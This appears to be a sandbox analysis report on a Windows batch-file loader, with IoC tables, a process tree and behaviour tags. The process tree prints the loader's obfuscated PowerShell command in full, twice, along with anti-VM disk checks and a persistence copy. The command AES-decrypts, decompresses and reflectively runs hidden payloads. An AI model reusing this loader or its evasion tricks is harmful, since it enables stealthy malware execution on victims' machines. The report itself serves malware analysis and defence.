Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02dvyqonaxamgfxb	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\ValidDeviceId = "02dvyqonaxamgfxb"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1"	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C010AE1964F3"	svchost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4176	powershell.exe
4176	powershell.exe
4176	powershell.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe
4588	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3436	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4176	powershell.exe
Token: SeDebugPrivilege	4588	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2300	svchost.exe
Token: SeIncreaseQuotaPrivilege	2300	svchost.exe
Token: SeSecurityPrivilege	2300	svchost.exe
Token: SeTakeOwnershipPrivilege	2300	svchost.exe
Token: SeLoadDriverPrivilege	2300	svchost.exe
Token: SeSystemtimePrivilege	2300	svchost.exe
Token: SeBackupPrivilege	2300	svchost.exe
Token: SeRestorePrivilege	2300	svchost.exe
Token: SeShutdownPrivilege	2300	svchost.exe
Token: SeSystemEnvironmentPrivilege	2300	svchost.exe
Token: SeUndockPrivilege	2300	svchost.exe
Token: SeManageVolumePrivilege	2300	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2300	svchost.exe
Token: SeIncreaseQuotaPrivilege	2300	svchost.exe
Token: SeSecurityPrivilege	2300	svchost.exe
Token: SeTakeOwnershipPrivilege	2300	svchost.exe
Token: SeLoadDriverPrivilege	2300	svchost.exe
Token: SeSystemtimePrivilege	2300	svchost.exe
Token: SeBackupPrivilege	2300	svchost.exe
Token: SeRestorePrivilege	2300	svchost.exe
Token: SeShutdownPrivilege	2300	svchost.exe
Token: SeSystemEnvironmentPrivilege	2300	svchost.exe
Token: SeUndockPrivilege	2300	svchost.exe
Token: SeManageVolumePrivilege	2300	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2300	svchost.exe
Token: SeIncreaseQuotaPrivilege	2300	svchost.exe
Token: SeSecurityPrivilege	2300	svchost.exe
Token: SeTakeOwnershipPrivilege	2300	svchost.exe
Token: SeLoadDriverPrivilege	2300	svchost.exe
Token: SeSystemtimePrivilege	2300	svchost.exe
Token: SeBackupPrivilege	2300	svchost.exe
Token: SeRestorePrivilege	2300	svchost.exe
Token: SeShutdownPrivilege	2300	svchost.exe
Token: SeSystemEnvironmentPrivilege	2300	svchost.exe
Token: SeUndockPrivilege	2300	svchost.exe
Token: SeManageVolumePrivilege	2300	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2300	svchost.exe
Token: SeIncreaseQuotaPrivilege	2300	svchost.exe
Token: SeSecurityPrivilege	2300	svchost.exe
Token: SeTakeOwnershipPrivilege	2300	svchost.exe
Token: SeLoadDriverPrivilege	2300	svchost.exe
Token: SeSystemtimePrivilege	2300	svchost.exe
Token: SeBackupPrivilege	2300	svchost.exe
Token: SeRestorePrivilege	2300	svchost.exe
Token: SeShutdownPrivilege	2300	svchost.exe
Token: SeSystemEnvironmentPrivilege	2300	svchost.exe
Token: SeUndockPrivilege	2300	svchost.exe
Token: SeManageVolumePrivilege	2300	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2300	svchost.exe
Token: SeIncreaseQuotaPrivilege	2300	svchost.exe
Token: SeSecurityPrivilege	2300	svchost.exe
Token: SeTakeOwnershipPrivilege	2300	svchost.exe
Token: SeLoadDriverPrivilege	2300	svchost.exe
Token: SeSystemtimePrivilege	2300	svchost.exe
Token: SeBackupPrivilege	2300	svchost.exe
Token: SeRestorePrivilege	2300	svchost.exe
Token: SeShutdownPrivilege	2300	svchost.exe
Token: SeSystemEnvironmentPrivilege	2300	svchost.exe
Token: SeUndockPrivilege	2300	svchost.exe
Token: SeManageVolumePrivilege	2300	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2300	svchost.exe
Token: SeIncreaseQuotaPrivilege	2300	svchost.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
3436	Explorer.EXE
3436	Explorer.EXE
3436	Explorer.EXE
3436	Explorer.EXE

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4316	Conhost.exe
1540	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3352 wrote to memory of 2888	3352	cmd.exe	84
PID 3352 wrote to memory of 2888	3352	cmd.exe	84
PID 3352 wrote to memory of 3576	3352	cmd.exe	85
PID 3352 wrote to memory of 3576	3352	cmd.exe	85
PID 3352 wrote to memory of 3920	3352	cmd.exe	86
PID 3352 wrote to memory of 3920	3352	cmd.exe	86
PID 3352 wrote to memory of 2392	3352	cmd.exe	87
PID 3352 wrote to memory of 2392	3352	cmd.exe	87
PID 3352 wrote to memory of 4044	3352	cmd.exe	88
PID 3352 wrote to memory of 4044	3352	cmd.exe	88
PID 3352 wrote to memory of 4176	3352	cmd.exe	89
PID 3352 wrote to memory of 4176	3352	cmd.exe	89
PID 4176 wrote to memory of 4588	4176	powershell.exe	91
PID 4176 wrote to memory of 4588	4176	powershell.exe	91
PID 4176 wrote to memory of 4588	4176	powershell.exe	91
PID 4176 wrote to memory of 4588	4176	powershell.exe	91
PID 4176 wrote to memory of 4588	4176	powershell.exe	91
PID 4176 wrote to memory of 4588	4176	powershell.exe	91
PID 4176 wrote to memory of 4588	4176	powershell.exe	91
PID 4176 wrote to memory of 4588	4176	powershell.exe	91
PID 4588 wrote to memory of 612	4588	dllhost.exe	5
PID 4588 wrote to memory of 668	4588	dllhost.exe	7
PID 4588 wrote to memory of 948	4588	dllhost.exe	12
PID 4588 wrote to memory of 60	4588	dllhost.exe	13
PID 4588 wrote to memory of 464	4588	dllhost.exe	14
PID 4588 wrote to memory of 680	4588	dllhost.exe	15
PID 4588 wrote to memory of 944	4588	dllhost.exe	16
PID 4588 wrote to memory of 1028	4588	dllhost.exe	17
PID 4588 wrote to memory of 1136	4588	dllhost.exe	19
PID 4588 wrote to memory of 1172	4588	dllhost.exe	20
PID 4588 wrote to memory of 1252	4588	dllhost.exe	21
PID 4588 wrote to memory of 1308	4588	dllhost.exe	22
PID 4588 wrote to memory of 1332	4588	dllhost.exe	23
PID 4588 wrote to memory of 1368	4588	dllhost.exe	24
PID 4588 wrote to memory of 1404	4588	dllhost.exe	25
PID 4588 wrote to memory of 1448	4588	dllhost.exe	26
PID 4588 wrote to memory of 1468	4588	dllhost.exe	27
PID 4588 wrote to memory of 1548	4588	dllhost.exe	28
PID 4588 wrote to memory of 1616	4588	dllhost.exe	29
PID 4588 wrote to memory of 1652	4588	dllhost.exe	30
PID 4588 wrote to memory of 1756	4588	dllhost.exe	31
PID 4588 wrote to memory of 1780	4588	dllhost.exe	32
PID 4588 wrote to memory of 1844	4588	dllhost.exe	33
PID 4588 wrote to memory of 1852	4588	dllhost.exe	34
PID 4588 wrote to memory of 1860	4588	dllhost.exe	35
PID 4588 wrote to memory of 2036	4588	dllhost.exe	36
PID 4588 wrote to memory of 1672	4588	dllhost.exe	37
PID 4588 wrote to memory of 2148	4588	dllhost.exe	39
PID 4588 wrote to memory of 2208	4588	dllhost.exe	40
PID 4588 wrote to memory of 2300	4588	dllhost.exe	41
PID 4588 wrote to memory of 2396	4588	dllhost.exe	42
PID 4588 wrote to memory of 2404	4588	dllhost.exe	43
PID 4588 wrote to memory of 2504	4588	dllhost.exe	44
PID 4588 wrote to memory of 2608	4588	dllhost.exe	45
PID 4588 wrote to memory of 2616	4588	dllhost.exe	46
PID 4588 wrote to memory of 2648	4588	dllhost.exe	47
PID 4588 wrote to memory of 2656	4588	dllhost.exe	48
PID 4588 wrote to memory of 2836	4588	dllhost.exe	50
PID 4588 wrote to memory of 2964	4588	dllhost.exe	51
PID 4588 wrote to memory of 3024	4588	dllhost.exe	52
PID 4588 wrote to memory of 2636	4588	dllhost.exe	53
PID 4588 wrote to memory of 3164	4588	dllhost.exe	54
PID 4588 wrote to memory of 3332	4588	dllhost.exe	55
PID 4588 wrote to memory of 3436	4588	dllhost.exe	56

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:612
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:60
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{50c52811-733c-4579-9c15-311417ebf2dd}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4588
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{888779f0-1cef-481b-b31f-18d646c37b0a}
  2⤵
  PID:844

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Drops file in System32 directory
PID:668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:464

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:680

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1136
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2636

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1172

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1332

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1468
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1548

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1616

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1652

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1844

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1860

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2036

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1672

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2148

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2504

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
PID:2616

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2656

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2836

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3024

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3332

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
PID:3436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Loader.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3352
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5052
- - C:\Windows\system32\fsutil.exe
    fsutil fsinfo drives
    3⤵
    PID:2888
- - C:\Windows\system32\findstr.exe
    findstr /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK"
    3⤵
    PID:3576
- - C:\Windows\system32\fsutil.exe
    fsutil fsinfo drives
    3⤵
    PID:3920
- - C:\Windows\system32\findstr.exe
    findstr /i /c:"BOCHS_" /c:"BXPC___" /c:"QEMU" /c:"VirtualBox"
    3⤵
    PID:2392
- - C:\Windows\system32\cmd.exe
    cmd.exe /c echo function orcC($VcbY){ Invoke-Expression -InformationAction Ignore -Debug -WarningAction Inquire -Verbose '$SYoq=QX[QXSyQXsQXtQXeQXmQX.QXSeQXcQXuQXrQXiQXtyQX.CQXryQXptQXoQXgQXrQXapQXhQXyQX.QXAQXeQXsQX]:QX:QXCQXrQXeQXatQXeQX(QX);'.Replace('QX', ''); Invoke-Expression -WarningAction Inquire '$SYoq.SdMSdodSdeSd=Sd[SdSSdySdstSdeSdmSd.SdSSdecSdurSditSdy.SdCSdrSdySdptSdoSdgSdrSdaSdpSdhSdy.SdCSdiSdpSdhSderSdMSdoSddSdeSd]Sd:Sd:SdCSdBSdC;'.Replace('Sd', ''); Invoke-Expression -Verbose '$SYoq.BAPBAadBAdBAiBAnBAgBA=BA[SBAyBAsBAtBAeBAm.BASeBAcuBAriBAtBAyBA.BACrBAyBApBAtBAoBAgBArBAapBAhBAyBA.BAPBAadBAdBAiBAnBAgBAMBAoBAdBAeBA]BA:BA:BAPKBACBASBA7;'.Replace('BA', ''); Invoke-Expression -Verbose '$SYoq.ffKffeyff=ff[ffSffyffsffteffmff.ffCffoffnvfferfft]ff::ffFffrffoffmBffaffsffeff6ff4ffSfftrffiffnffg("ffsffM0ffmffsffDffDffIffoMffhff1ffSffmff09ffPMffedffmlffRff5ffsff8dffKffdffWffvffJff5ffQgffLff0ff/ffkffKTffMffcff=");'.Replace('ff', ''); Invoke-Expression -Verbose '$SYoq.gvIgvV=gv[gvSgvygvsgvtgvemgv.gvCgvogvngvvegvrtgv]:gv:FgvrgvogvmgvBagvsgvegv6gv4gvSgvtgvrigvngvggv("gvYgvqRgvzgvygvygvqgvRgv5VgvugvmgvBgv3gvO1gvovgvK9gvowgv=gv=gv");'.Replace('gv', ''); $HyBY=$SYoq.CreateDecryptor(); $fhiM=$HyBY.TransformFinalBlock($VcbY, 0, $VcbY.Length); $HyBY.Dispose(); $SYoq.Dispose(); $fhiM;}function tHVO($VcbY){ Invoke-Expression -WarningAction Inquire '$amXY=uLNuLewuL-uLOuLbuLjuLeuLctuL uLSuLyuLsuLteuLm.uLIOuL.MuLeuLmuLouLryuLSuLtuLruLeuLauLm(,$VcbY);'.Replace('uL', ''); Invoke-Expression -Debug '$DOPc=uLNuLewuL-uLOuLbuLjuLeuLctuL uLSuLyuLsuLteuLm.uLIOuL.MuLeuLmuLouLryuLSuLtuLruLeuLauLm;'.Replace('uL', ''); Invoke-Expression -InformationAction Ignore '$ZloT=yjNyjewyj-yjOyjbyjjyjeyjctyj yjSyjyyjsyjteyjm.yjIOyj.Cyjoyjmyjpyjreyjsyjsyjiyjoyjnyj.yjGZyjiyjpyjSyjtyjreyjayjm($amXY, yj[yjIOyj.yjCyjoyjmyjpyjreyjsyjsyjiyjoyjn.yjCoyjmpyjreyjsyjsyjiyjonyjMyjoyjdyjeyj]yj:yj:Dyjeyjcyjoyjmyjpryjeyjsyjs);'.Replace('yj', ''); $ZloT.CopyTo($DOPc); $ZloT.Dispose(); $amXY.Dispose(); $DOPc.Dispose(); $DOPc.ToArray();}function Kxmi($VcbY,$Hqen){ Invoke-Expression -Verbose -WarningAction Inquire -Debug '$fabe=DH[DHSyDHsDHtDHeDHmDH.DHReDHfDHlDHeDHcDHtiDHonDH.ADHssDHeDHmDHbDHlyDH]DH:DH:DHLDHoDHaDHd([byte[]]$VcbY);'.Replace('DH', ''); Invoke-Expression -Verbose -WarningAction Inquire -InformationAction Ignore -Debug '$gCDr=$fabe.lNElNntlNrlNylNPlNolNilNntlN;'.Replace('lN', ''); Invoke-Expression -Debug -Verbose -WarningAction Inquire '$gCDroQ.oQInoQvoQooQkoQeoQ(oQ$noQuoQloQloQ, $Hqen);'.Replace('oQ', '');}$iHJt = 'C:\Users\Admin\AppData\Local\Temp\Loader.bat';$host.UI.RawUI.WindowTitle = $iHJt;$TXrr=[System.IO.File]::ReadAllText($iHJt).Split([Environment]::NewLine);foreach ($WQOD in $TXrr) { if ($WQOD.StartsWith('OEsNQ')) { $oQmN=$WQOD.Substring(5); break; }}$OMnU=[string[]]$oQmN.Split('\');Invoke-Expression -InformationAction Ignore -Debug -Verbose '$taV = tHVO (orcC (Fk[FkCoFknFkvFkeFkrFktFk]:Fk:FkFFkrFkoFkmBFkasFke6Fk4SFktFkrFkiFkngFk($OMnU[0].Replace("#", "/").Replace("@", "A"))));'.Replace('Fk', '');Invoke-Expression -Verbose '$VJL = tHVO (orcC (Fk[FkCoFknFkvFkeFkrFktFk]:Fk:FkFFkrFkoFkmBFkasFke6Fk4SFktFkrFkiFkngFk($OMnU[1].Replace("#", "/").Replace("@", "A"))));'.Replace('Fk', '');Invoke-Expression -Debug '$Qei = tHVO (orcC (Fk[FkCoFknFkvFkeFkrFktFk]:Fk:FkFFkrFkoFkmBFkasFke6Fk4SFktFkrFkiFkngFk($OMnU[2].Replace("#", "/").Replace("@", "A"))));'.Replace('Fk', '');Kxmi $taV $null;Kxmi $VJL $null;Kxmi $Qei (,[string[]] (''));
    3⤵
    PID:4044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Command and Scripting Interpreter: PowerShell
    - Deletes itself
    - Suspicious use of SetThreadContext
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4176
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 4176 -s 2588
      4⤵
      Checks processor information in registry
      Enumerates system info in registry
      PID:1488
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C type C:\Users\Admin\AppData\Local\Temp\Loader.bat>C:\Windows\$rbx-onimai2\$rbx-CO2.bat
      4⤵
      Drops file in Windows directory
      PID:1144
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        Suspicious use of SetWindowsHookEx
        
        PID:4316
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Windows\$rbx-onimai2\$rbx-CO2.bat" "
      4⤵
      PID:3348
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4840
    - - C:\Windows\system32\fsutil.exe
        
        fsutil fsinfo drives
        5⤵
        
        PID:2668
    - - C:\Windows\system32\findstr.exe
        
        findstr /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK"
        5⤵
        
        PID:2192
    - - C:\Windows\system32\fsutil.exe
        
        fsutil fsinfo drives
        5⤵
        
        PID:4812
    - - C:\Windows\system32\findstr.exe
        
        findstr /i /c:"BOCHS_" /c:"BXPC___" /c:"QEMU" /c:"VirtualBox"
        5⤵
        
        PID:2256
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c echo function orcC($VcbY){ Invoke-Expression -InformationAction Ignore -Debug -WarningAction Inquire -Verbose '$SYoq=QX[QXSyQXsQXtQXeQXmQX.QXSeQXcQXuQXrQXiQXtyQX.CQXryQXptQXoQXgQXrQXapQXhQXyQX.QXAQXeQXsQX]:QX:QXCQXrQXeQXatQXeQX(QX);'.Replace('QX', ''); Invoke-Expression -WarningAction Inquire '$SYoq.SdMSdodSdeSd=Sd[SdSSdySdstSdeSdmSd.SdSSdecSdurSditSdy.SdCSdrSdySdptSdoSdgSdrSdaSdpSdhSdy.SdCSdiSdpSdhSderSdMSdoSddSdeSd]Sd:Sd:SdCSdBSdC;'.Replace('Sd', ''); Invoke-Expression -Verbose '$SYoq.BAPBAadBAdBAiBAnBAgBA=BA[SBAyBAsBAtBAeBAm.BASeBAcuBAriBAtBAyBA.BACrBAyBApBAtBAoBAgBArBAapBAhBAyBA.BAPBAadBAdBAiBAnBAgBAMBAoBAdBAeBA]BA:BA:BAPKBACBASBA7;'.Replace('BA', ''); Invoke-Expression -Verbose '$SYoq.ffKffeyff=ff[ffSffyffsffteffmff.ffCffoffnvfferfft]ff::ffFffrffoffmBffaffsffeff6ff4ffSfftrffiffnffg("ffsffM0ffmffsffDffDffIffoMffhff1ffSffmff09ffPMffedffmlffRff5ffsff8dffKffdffWffvffJff5ffQgffLff0ff/ffkffKTffMffcff=");'.Replace('ff', ''); Invoke-Expression -Verbose '$SYoq.gvIgvV=gv[gvSgvygvsgvtgvemgv.gvCgvogvngvvegvrtgv]:gv:FgvrgvogvmgvBagvsgvegv6gv4gvSgvtgvrigvngvggv("gvYgvqRgvzgvygvygvqgvRgv5VgvugvmgvBgv3gvO1gvovgvK9gvowgv=gv=gv");'.Replace('gv', ''); $HyBY=$SYoq.CreateDecryptor(); $fhiM=$HyBY.TransformFinalBlock($VcbY, 0, $VcbY.Length); $HyBY.Dispose(); $SYoq.Dispose(); $fhiM;}function tHVO($VcbY){ Invoke-Expression -WarningAction Inquire '$amXY=uLNuLewuL-uLOuLbuLjuLeuLctuL uLSuLyuLsuLteuLm.uLIOuL.MuLeuLmuLouLryuLSuLtuLruLeuLauLm(,$VcbY);'.Replace('uL', ''); Invoke-Expression -Debug '$DOPc=uLNuLewuL-uLOuLbuLjuLeuLctuL uLSuLyuLsuLteuLm.uLIOuL.MuLeuLmuLouLryuLSuLtuLruLeuLauLm;'.Replace('uL', ''); Invoke-Expression -InformationAction Ignore '$ZloT=yjNyjewyj-yjOyjbyjjyjeyjctyj yjSyjyyjsyjteyjm.yjIOyj.Cyjoyjmyjpyjreyjsyjsyjiyjoyjnyj.yjGZyjiyjpyjSyjtyjreyjayjm($amXY, yj[yjIOyj.yjCyjoyjmyjpyjreyjsyjsyjiyjoyjn.yjCoyjmpyjreyjsyjsyjiyjonyjMyjoyjdyjeyj]yj:yj:Dyjeyjcyjoyjmyjpryjeyjsyjs);'.Replace('yj', ''); $ZloT.CopyTo($DOPc); $ZloT.Dispose(); $amXY.Dispose(); $DOPc.Dispose(); $DOPc.ToArray();}function Kxmi($VcbY,$Hqen){ Invoke-Expression -Verbose -WarningAction Inquire -Debug '$fabe=DH[DHSyDHsDHtDHeDHmDH.DHReDHfDHlDHeDHcDHtiDHonDH.ADHssDHeDHmDHbDHlyDH]DH:DH:DHLDHoDHaDHd([byte[]]$VcbY);'.Replace('DH', ''); Invoke-Expression -Verbose -WarningAction Inquire -InformationAction Ignore -Debug '$gCDr=$fabe.lNElNntlNrlNylNPlNolNilNntlN;'.Replace('lN', ''); Invoke-Expression -Debug -Verbose -WarningAction Inquire '$gCDroQ.oQInoQvoQooQkoQeoQ(oQ$noQuoQloQloQ, $Hqen);'.Replace('oQ', '');}$iHJt = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $iHJt;$TXrr=[System.IO.File]::ReadAllText($iHJt).Split([Environment]::NewLine);foreach ($WQOD in $TXrr) { if ($WQOD.StartsWith('OEsNQ')) { $oQmN=$WQOD.Substring(5); break; }}$OMnU=[string[]]$oQmN.Split('\');Invoke-Expression -InformationAction Ignore -Debug -Verbose '$taV = tHVO (orcC (Fk[FkCoFknFkvFkeFkrFktFk]:Fk:FkFFkrFkoFkmBFkasFke6Fk4SFktFkrFkiFkngFk($OMnU[0].Replace("#", "/").Replace("@", "A"))));'.Replace('Fk', '');Invoke-Expression -Verbose '$VJL = tHVO (orcC (Fk[FkCoFknFkvFkeFkrFktFk]:Fk:FkFFkrFkoFkmBFkasFke6Fk4SFktFkrFkiFkngFk($OMnU[1].Replace("#", "/").Replace("@", "A"))));'.Replace('Fk', '');Invoke-Expression -Debug '$Qei = tHVO (orcC (Fk[FkCoFknFkvFkeFkrFktFk]:Fk:FkFFkrFkoFkmBFkasFke6Fk4SFktFkrFkiFkngFk($OMnU[2].Replace("#", "/").Replace("@", "A"))));'.Replace('Fk', '');Kxmi $taV $null;Kxmi $VJL $null;Kxmi $Qei (,[string[]] (''));
        5⤵
        
        PID:4620
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -WindowStyle Hidden
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Checks for VirtualBox DLLs, possible anti-VM trick
        Drops file in Windows directory
        Suspicious use of SetWindowsHookEx
        
        PID:1540
      - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 1540 -s 2556
        6⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:3836
